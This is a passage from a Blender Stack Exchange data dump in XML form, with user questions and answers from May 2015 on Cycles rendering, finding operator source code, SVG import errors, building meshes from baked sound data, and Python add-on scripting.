src=&quot;https://i.stack.imgur.com/6UoU9.png&quot; alt=&quot;Simple scene with sun lighting, transparent areas don&amp;#39;t cast shadows&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2015-05-04T09:10:08.190" Title="How to get rid of shadow from transparent area when background lighting only in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-04T12:30:14.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="30362" PostTypeId="2" ParentId="30361" CreationDate="2015-05-04T09:10:08.190" Score="1" Body="&lt;p&gt;After asking around in IRC it turns out this is actually a bug with background light + transparent BSDF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reported &lt;a href=&quot;https://developer.blender.org/T44599&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T44599&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2015-05-04T09:10:08.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30364" PostTypeId="1" AcceptedAnswerId="30373" CreationDate="2015-05-04T09:28:38.417" Score="5" ViewCount="2747" Body="&lt;p&gt;I am trying to call &lt;code&gt;bpy.ops.object.parent_clear&lt;/code&gt; in blender background mode (no GUI) and it fails with an &quot;context is incorrect&quot; message. I would like to read the source code of the operator to better understand what is going on. I downloaded the source code of the blender 2.74 distribution. The error message indicates where the error occurs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;.../Resources/2.74/scripts/modules/bpy/ops.py&quot;, line 189, in  __call__&#xA;ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Operator bpy.ops.object.parent_clear.poll() failed, context is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, at that location one can only find&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ret = op_call(self.idname_py(), None, kw)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is another call. Where do I find the actual implementation of &lt;code&gt;parent_clear&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="8322" LastActivityDate="2015-05-04T12:34:20.800" Title="How to find an operator's source code?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30365" PostTypeId="1" AcceptedAnswerId="30366" CreationDate="2015-05-04T09:32:42.893" Score="-1" ViewCount="710" Body="&lt;p&gt;I'd like to import a svg in blender, but I got this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wSuKi.png&quot; alt=&quot;http://imgur.com/H64a2Sa&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix this?&lt;/p&gt;&#xA;" OwnerUserId="5489" LastEditorUserId="3710" LastEditDate="2015-05-04T09:38:45.320" LastActivityDate="2015-05-04T09:46:48.343" Title="How to fix this error while importing svg?" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30366" PostTypeId="2" ParentId="30365" CreationDate="2015-05-04T09:41:16.360" Score="3" Body="&lt;p&gt;Judging by the last line of the error message, it might be simplest to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a copy of the svg, &lt;/li&gt;&#xA;&lt;li&gt;then open the copy in a text editor&lt;/li&gt;&#xA;&lt;li&gt;do a search for the string '297mm' and replace it with &lt;code&gt;297&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;you might also see width described with &lt;em&gt;210mm&lt;/em&gt;, also remove the &lt;em&gt;mm&lt;/em&gt; there.&lt;/li&gt;&#xA;&lt;li&gt;Then save, then open the copy. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Incidentally, not all svg files will import OK. &lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-04T09:46:48.343" LastActivityDate="2015-05-04T09:46:48.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30368" PostTypeId="1" AcceptedAnswerId="30370" CreationDate="2015-05-04T10:03:21.140" Score="7" ViewCount="977" Body="&lt;p&gt;I would like to use Blender to construct a &lt;strong&gt;mesh based on a sound file&lt;/strong&gt;. I've seen the &lt;strong&gt;bake sound to graph function&lt;/strong&gt;, and I tried to look in the source code how it works internally. This function is great, if we want to change some parameters based on the sound data, but it was not meant to be used for mesh creation. I thought, I must somehow get the raw data (integer value from the sample), then use python to create the mesh (I've already created meshes based on frequency and dampening factors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find the implementation of the bake sound function, only an user interface reference to this function. I think it calls some kind of C++ code (and I really don't want to mix my script with low level code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw a post with blender game engine, which presented the usage of the &lt;strong&gt;aud API&lt;/strong&gt;. This API can load any kind of format (even the sound channel from videos), but I couldn't figure it out how to get the &lt;strong&gt;sound data between some given frequencies&lt;/strong&gt;, like in the bake sound function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone suggest an easy way to load the raw sound data between a given frequency range. &lt;/p&gt;&#xA;" OwnerUserId="14156" LastEditorUserId="599" LastEditDate="2015-12-21T08:53:24.590" LastActivityDate="2015-12-21T08:53:24.590" Title="Get raw sound data in Blender using python" Tags="&lt;python&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30369" PostTypeId="2" ParentId="30364" CreationDate="2015-05-04T10:13:55.863" Score="1" Body="&lt;p&gt;you can search in the source code available online on &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;&#xA;, also one of blender developers Campbell Barton has great videoes on searching and navigating the source code : &lt;a href=&quot;https://www.youtube.com/watch?v=_kniMTbcCko&quot; rel=&quot;nofollow&quot;&gt;Tips on Searching/Navigating Blenders Code&lt;/a&gt;  and  &lt;a href=&quot;https://www.youtube.com/watch?v=5Ymoav0nNWQ&quot; rel=&quot;nofollow&quot;&gt;Learning to Navigate Source &amp;amp; Simple Fix&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-04T10:13:55.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30370" PostTypeId="2" ParentId="30368" CreationDate="2015-05-04T10:18:53.053" Score="7" Body="&lt;p&gt;Say with a &lt;code&gt;Plane&lt;/code&gt; object selected, you bake a sound file to its location keyframes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; obj = bpy.data.objects['Plane']&#xA;&amp;gt;&amp;gt;&amp;gt; obj.animation_data.action.fcurves[0].sampled_points[0].co&#xA;Vector((1.0, 0.0))&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; obj.animation_data.action.fcurves[0].sampled_points[1].co&#xA;Vector((2.0, 0.34159383177757263))&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; obj.animation_data.action.fcurves[0].sampled_points[2].co&#xA;Vector((3.0, 0.8729846477508545))&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; obj.animation_data.action.fcurves[0].sampled_points[3].co&#xA;Vector((4.0, 0.8701881766319275))&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; obj.animation_data.action.fcurves[0].sampled_points[4].co&#xA;Vector((5.0, 0.6890017986297607))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives the points that the graph makes. And you can limit the frequencies used for the bake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e0BJH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then making a mesh is simple (relatively)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;rescalex = 20&#xA;rescalez = 0.2&#xA;obj = bpy.data.objects['Plane']&#xA;points = obj.animation_data.action.fcurves[0].sampled_points&#xA;&#xA;# turn 2d points into 3d coordinates and rescale&#xA;verts = []&#xA;add_vert = verts.append&#xA;for idx, p in enumerate(points):&#xA;    z = p.co[1] / rescalez&#xA;    x = idx / rescalex&#xA;    add_vert((x, 0, z))&#xA;&#xA;# connect sequential vertices&#xA;edges = [(i, i+1) for i in range(len(verts)-1)]&#xA;&#xA;mesh = bpy.data.meshes.new(&quot;mesh_name&quot;)&#xA;mesh.from_pydata(verts, edges, faces=[])&#xA;mesh.update()&#xA;&#xA;obj = bpy.data.objects.new(&quot;obj_name&quot;, mesh)&#xA;&#xA;scene = bpy.context.scene&#xA;scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that gives this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ag9W0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-04T10:27:27.767" LastActivityDate="2015-05-04T10:27:27.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30371" PostTypeId="1" CreationDate="2015-05-04T11:59:16.423" Score="2" ViewCount="402" Body="&lt;p&gt;This may be a limitation or bug. But keen for any ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm simulating a falling block that gets hit and smashes mid flight. At the point of impact (with a sword), I've keyed the 'Animated' checkbox from on to off. It works, but there is a glitch at that frame, as the animated falling motion stops, and gravity starts accellerating the block again a frame later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding extrapolation to the curves just in case, and also animated without the sword impact and the glitch still occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the block fragments are parented to an empty which is the object that's actually animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding was that the bullet sim would continue with the objects' previous velocity and accelleration as it kicks in. Is this not correct?&lt;/p&gt;&#xA;" OwnerUserId="6207" LastActivityDate="2015-05-04T11:59:16.423" Title="Rigid body delay, switching from animated to simulated?" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30372" PostTypeId="2" ParentId="14509" CreationDate="2015-05-04T12:24:33.950" Score="4" Body="&lt;p&gt;I have done this by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select &lt;i&gt;Render Properties&lt;/i&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go Down Expand &lt;i&gt;Enconding&lt;/i&gt;&lt;/li&gt;&#xA;&lt;li&gt;On &lt;i&gt;Audio Codec:&lt;/i&gt;&lt;/li&gt;&#xA;&lt;li&gt;Choose dropdown from &lt;i&gt;None&lt;/i&gt; to &lt;i&gt;MP3&lt;/i&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n95ZR.jpg&quot; alt=&quot;a busy cat&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can hear the sound, cheers!&lt;/p&gt;&#xA;" OwnerUserId="7737" LastEditorUserId="32220" LastEditDate="2019-01-19T15:00:51.787" LastActivityDate="2019-01-19T15:00:51.787" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30373" PostTypeId="2" ParentId="30364" CreationDate="2015-05-04T12:27:26.670" Score="7" Body="&lt;p&gt;The naming scheme is &lt;code&gt;object.parent_clear&lt;/code&gt; -&gt; &lt;code&gt;OBJECT_OT_parent_clear&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the source code you will usually find the declaration of the operator in the headerfile, somewhere in &lt;code&gt;source/blender/editors/*&lt;/code&gt;, in this case it is &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/refs/heads/master:/source/blender/editors/object/object_intern.h#l63&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;source/blender/editors/object/object_intern.h&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The comment points to the source file &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/refs/heads/master:/source/blender/editors/object/object_relations.c#l541&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;source/blender/editors/object/object_relations.c&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 541 void OBJECT_OT_parent_clear(wmOperatorType *ot)&#xA; 542 {&#xA; 543         /* identifiers */&#xA; 544         ot-&amp;gt;name = &quot;Clear Parent&quot;;&#xA; 545         ot-&amp;gt;description = &quot;Clear the object's parenting&quot;;&#xA; 546         ot-&amp;gt;idname = &quot;OBJECT_OT_parent_clear&quot;;&#xA; 547 &#xA; 548         /* api callbacks */&#xA; 549         ot-&amp;gt;invoke = WM_menu_invoke;&#xA; 550         ot-&amp;gt;exec = parent_clear_exec;&#xA; 551 &#xA; 552         ot-&amp;gt;poll = ED_operator_object_active_editable;&#xA; 553 &#xA; 554         /* flags */&#xA; 555         ot-&amp;gt;flag = OPTYPE_REGISTER | OPTYPE_UNDO;&#xA; 556 &#xA; 557         ot-&amp;gt;prop = RNA_def_enum(ot-&amp;gt;srna, &quot;type&quot;, prop_clear_parent_types, CLEAR_PARENT_ALL, &quot;Type&quot;, &quot;&quot;);&#xA; 558 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The poll method checks for the right context. The exec method is located in the same file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 523 /* note, poll should check for editable scene */&#xA; 524 static int parent_clear_exec(bContext *C, wmOperator *op)&#xA; 525 {&#xA; 526         Main *bmain = CTX_data_main(C);&#xA; 527         const int type = RNA_enum_get(op-&amp;gt;ptr, &quot;type&quot;);&#xA; 528 &#xA; 529         CTX_DATA_BEGIN (C, Object *, ob, selected_editable_objects)&#xA; 530         {&#xA; 531                 ED_object_parent_clear(ob, type);&#xA; 532         }&#xA; 533         CTX_DATA_END;&#xA; 534 &#xA; 535         DAG_relations_tag_update(bmain);&#xA; 536         WM_event_add_notifier(C, NC_OBJECT | ND_TRANSFORM, NULL);&#xA; 537         WM_event_add_notifier(C, NC_OBJECT | ND_PARENT, NULL);&#xA; 538         return OPERATOR_FINISHED;&#xA; 539 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would recommend an IDE like QTCreator to follow the symbols though you might use grep/search the files manually.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-05-04T12:34:20.800" LastActivityDate="2015-05-04T12:34:20.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30374" PostTypeId="2" ParentId="30336" CreationDate="2015-05-04T13:04:01.540" Score="6" Body="&lt;p&gt;In the VSE preview window press the &lt;kbd&gt;N&lt;/kbd&gt; key to show the &lt;em&gt;Properties Panel&lt;/em&gt;. Look for Scene Preview Render. Turn off &lt;em&gt;Open GL Preview&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should allow the compositor output to pass to the VSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had pressed the render button (&lt;kbd&gt;F12&lt;/kbd&gt;), you would have seen the correct view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Change the scene strip property &gt; blend type to Alpha Over or Over Drop.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Lj9S0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="1218" LastEditDate="2015-05-06T11:45:33.820" LastActivityDate="2015-05-06T11:45:33.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30375" PostTypeId="2" ParentId="30355" CreationDate="2015-05-04T13:12:42.287" Score="3" Body="&lt;p&gt;there are two problems :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;edge.select = True&lt;/code&gt; not working as expected because passing the edge itself doesn't work (switching modes seem to break this pointer ),you should pass the index of the edge instead&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;selected_verts = [v for v in mesh.vertices if v.select]&lt;/code&gt; will be empty unless you switch back to object mode to update the mesh &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this is the working code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def loop_from_edge(edge_ind, mesh):&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    bpy.ops.mesh.select_all(action='DESELECT')&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;    mesh.edges[edge_ind].select = True&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    bpy.ops.mesh.loop_multi_select(ring = False)&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;    selected_verts = [v for v in mesh.vertices if v.select]&#xA;    return selected_verts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-04T13:12:42.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30376" PostTypeId="1" AcceptedAnswerId="30507" CreationDate="2015-05-04T14:08:15.520" Score="6" ViewCount="991" Body="&lt;p&gt;As the title states, I am trying to save an image that I can see normally in the UV/Image Editor. I have done some compositing to it, and everything works inside Blender, but when I press F3 and save it to my desktop, the file that shows up there is blank, transparent. I have 3 render layers, all being affected by my composite nodes. In the layers tab at the bottom of the UV/Image Editor screen, I have Composite selected. It looks great inside of Blender, and I don't see why this isn't working.&#xA;Any help would be much appreciated, thanks!&#xA;If any extra info or screens are needed to try to help me solve the problem, please request!&lt;/p&gt;&#xA;" OwnerUserId="14161" LastActivityDate="2015-05-08T20:44:22.443" Title="I'm trying to save an Image that I rendered and can see in the UV/Image Editor" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30377" PostTypeId="2" ParentId="29244" CreationDate="2015-05-04T14:22:56.217" Score="0" Body="&lt;p&gt;Check the 14th post in this thread : &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?369143-problem-with-parent-actuator-in-BGE&amp;amp;highlight=&quot; rel=&quot;nofollow noreferrer&quot;&gt;a blenderartist's thread&lt;/a&gt;&#xA;As @Chebhou notes here, this guy @BluePrintRandom uses forces. Forces make the motion smoother as you want it. Velocities also. But in both cases the body needs to be rigid or dynamic as far as I know and then you can use those physics's attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your exaple, where you move the camera upwards the z-axis, it could happen with something like this: &lt;code&gt;own.worldLinearVelocity.z = own.worldLinearVelocity.z+1&lt;/code&gt;&#xA;But again check that post, cause I hear it is better to play with forces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful,when you make the camera dynamic or rigid, you 'll need to kill its gravity if you don't want it to have one.Here's how: &lt;a href=&quot;https://blender.stackexchange.com/questions/8737/can-gravity-be-disabled-for-a-single-object-in-the-bge&quot;&gt;blender stack exchange,kill gravity of  1 object&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-05-04T14:22:56.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30378" PostTypeId="1" AcceptedAnswerId="30434" CreationDate="2015-05-04T15:27:32.263" Score="-1" ViewCount="77" Body="&lt;p&gt;I have written a simple script that allows me to import a DEM with .asc format into Blender. Now I want to study the waterflows of that portion of terrain. How can I do it? Can I write a different application (like in C#/Java) and use  the script from that application to show me a picture of the 3d model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or can it be done inside Blender?&lt;/p&gt;&#xA;" OwnerUserId="13086" LastEditorUserId="72" LastEditDate="2015-05-05T16:27:25.247" LastActivityDate="2015-05-05T16:27:25.247" Title="Use Blender script in other applications" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-05-05T16:28:14.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="30379" PostTypeId="2" ParentId="29286" CreationDate="2015-05-04T15:55:49.540" Score="0" Body="&lt;p&gt;The answer came from the blenderartist's forum where the user agoose77 wrote&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You need to use&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mop.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;. The position attribute of the base class of KX_MouseFocusSensor,&#xA;  SCA_MouseSensor, returns the pixel position of the mouse, which can&#xA;  reach a value in the thousands.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And it worked.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-05-04T15:55:49.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30380" PostTypeId="1" CreationDate="2015-05-04T16:01:57.937" Score="6" ViewCount="2385" Body="&lt;p&gt;I´ve been using Blender for the last 4 weeks and i have a big problem with Bake several materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did three uv maps, three materials with their textures with uvs. But i don´t know why Blender don´t want to do it in the uv´s texture that i assigned in UV Viewer and Node Editor. Is impossible and forever appear a message with &quot;Circular depending for image&quot;. Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p4Jjt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y6Iqt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZWfPP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dv5pT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14162" LastEditorUserId="14162" LastEditDate="2015-05-05T08:40:17.333" LastActivityDate="2015-05-10T04:09:25.910" Title="Bake several materials in one texture" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30381" PostTypeId="1" AcceptedAnswerId="30733" CreationDate="2015-05-04T16:35:49.110" Score="2" ViewCount="2928" Body="&lt;p&gt;I had finished animating an action and was previewing it. I accidentally hit &lt;kbd&gt;R&lt;/kbd&gt; while the animation was playing and not wanting the rotation, I hit escape (and probably a couple of other characters because fat fingers).&#xA;Now I don't have anything at all listed in the dope sheet summary. Also there are no keyframe nodes in the action editor. I can still see the animations being done if I scrub the timeline, there's just nothing in the graph editor.&lt;br&gt;&#xA;I've tried to figure out how to fix it, but I cannot seem to find it.&lt;/p&gt;&#xA;" OwnerUserId="14163" LastEditorUserId="2217" LastEditDate="2015-05-04T17:02:17.747" LastActivityDate="2018-12-03T02:34:32.997" Title="No keyframes visible in action editor" Tags="&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30382" PostTypeId="1" CreationDate="2015-05-04T16:44:28.463" Score="2" ViewCount="508" Body="&lt;p&gt;I have a macbook pro running windows 7 and I use a 1080p monitor when at home with laptop screen disabled. When I have my second monitor plugged in (via mini display port -&gt; VGA apple adaptor) there is a lot of UI lag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nvidia 650M GT oc'd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i7 quad core hyper threaded 2.7 -&gt; 3.6GHz&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 GB RAM&lt;/p&gt;&#xA;" OwnerUserId="14164" LastEditorUserId="599" LastEditDate="2015-05-04T18:30:33.523" LastActivityDate="2015-05-06T20:54:49.410" Title="Blender viewport and UI lag when external monitor connected" Tags="&lt;3d-view&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-06T21:31:38.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="30383" PostTypeId="2" ParentId="18930" CreationDate="2015-05-04T16:52:34.533" Score="3" Body="&lt;p&gt;I fear that this can only give a partial answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;a href=&quot;https://github.com/zeffii/BlenderConsolePrompt&quot; rel=&quot;nofollow noreferrer&quot;&gt;wrote an add-on (totally work in progress..but whatever)&lt;/a&gt; which gives the python console in Blender a second function. Hitting Enter, executes normal python stuff, but I can type commands and hit Cltr+Enter and the add-on will read the current line and parse it and react to it. One command I do tend to use a lot is &lt;code&gt;wipe&lt;/code&gt; it removes all objects/meshes, the code for it is pretty much:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    elif m == 'wipe':&#xA;        remove_obj_and_mesh(context)&#xA;        add_scrollback('wiped objects and meshes', 'OUTPUT')&#xA;        # history_append(text=m, current_character=0, remove_duplicates=True)&#xA;        history_append(text=m, remove_duplicates=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This even prints the message &lt;em&gt;'wiped objects and meshes'&lt;/em&gt; in blue to the Python console&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for &lt;code&gt;remove_obj_and_mesh()&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def remove_obj_and_mesh(context):&#xA;    scene = context.scene&#xA;    objs = bpy.data.objects&#xA;    meshes = bpy.data.meshes&#xA;    for obj in objs:&#xA;        if obj.type == 'MESH':&#xA;            scene.objects.unlink(obj)&#xA;            objs.remove(obj)&#xA;    for mesh in meshes:&#xA;        meshes.remove(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QOKSK.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not tested that on hidden objects, but if you can link a representative file / blend state which you would like to wipe entirely or selectively, i recommend posting it and that will let us/me answer more concisely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. &lt;a href=&quot;http://blenderscripting.blogspot.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;blenderscripting.blogspot&lt;/a&gt; is my blog, i should probably change that code  &lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-04T17:40:26.087" LastActivityDate="2015-05-04T17:40:26.087" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30385" PostTypeId="1" AcceptedAnswerId="30386" CreationDate="2015-05-04T17:10:40.247" Score="4" ViewCount="380" Body="&lt;p&gt;I've been coding a simple script to add an object to the `Add Panel'. But every time I click the run script button in the text editor it adds a new listing for the object. How can I can delete these unwanted listings so there's only one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jXGK6.jpg&quot; alt=&quot;Screenshot of the New objects&quot;&gt;&#xA;Here is my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Add Polysphere&quot;,&#xA;    &quot;author&quot;: &quot;Johnson Martin&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 74, 0),&#xA;    &quot;location&quot;: &quot;View3D &amp;gt; Add &amp;gt; Mesh &amp;gt; New Polysphere&quot;,&#xA;    &quot;description&quot;: &quot;Adds a new Polysphere&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Add Mesh&quot;}&#xA;&#xA;import bpy&#xA;from bpy.types import Operator&#xA;from bpy.props import FloatVectorProperty&#xA;from bpy_extras.object_utils import AddObjectHelper, object_data_add&#xA;from mathutils import Vector&#xA;&#xA;&#xA;def add_polysphere (self, context):&#xA;    scale_x = self.scale.x&#xA;    scale_y = self.scale.y&#xA;&#xA;    verts = [(-0.8942768573760986, 0.0, 0.0), (-0.8221502304077148, 0.0, 0.3518523871898651), (-0.8221502304077148, 0.3518523871898651, 0.0), (-0.8221502304077148, 0.0, -0.3518523871898651), (-0.8221502304077148, -0.3518523871898651, 0.0), (-0.7653955817222595, -0.3270326554775238, 0.3270326554775238), (-0.7653955817222595, 0.3270326554775238, 0.3270326554775238), (-0.7653955817222595, 0.3270326554775238, -0.3270326554775238), (-0.7653955817222595, -0.3270326554775238, -0.3270326554775238), (0.0, 0.8942768573760986, 0.0), (0.0, 0.8221502304077148, 0.3518523871898651), (0.3518523871898651, 0.8221502304077148, 0.0), (0.0, 0.8221502304077148, -0.3518523871898651), (-0.3518523871898651, 0.8221502304077148, 0.0), (-0.3270326554775238, 0.7653955817222595, 0.3270326554775238), (0.3270326554775238, 0.7653955817222595, 0.3270326554775238), (0.3270326554775238, 0.7653955817222595, -0.3270326554775238), 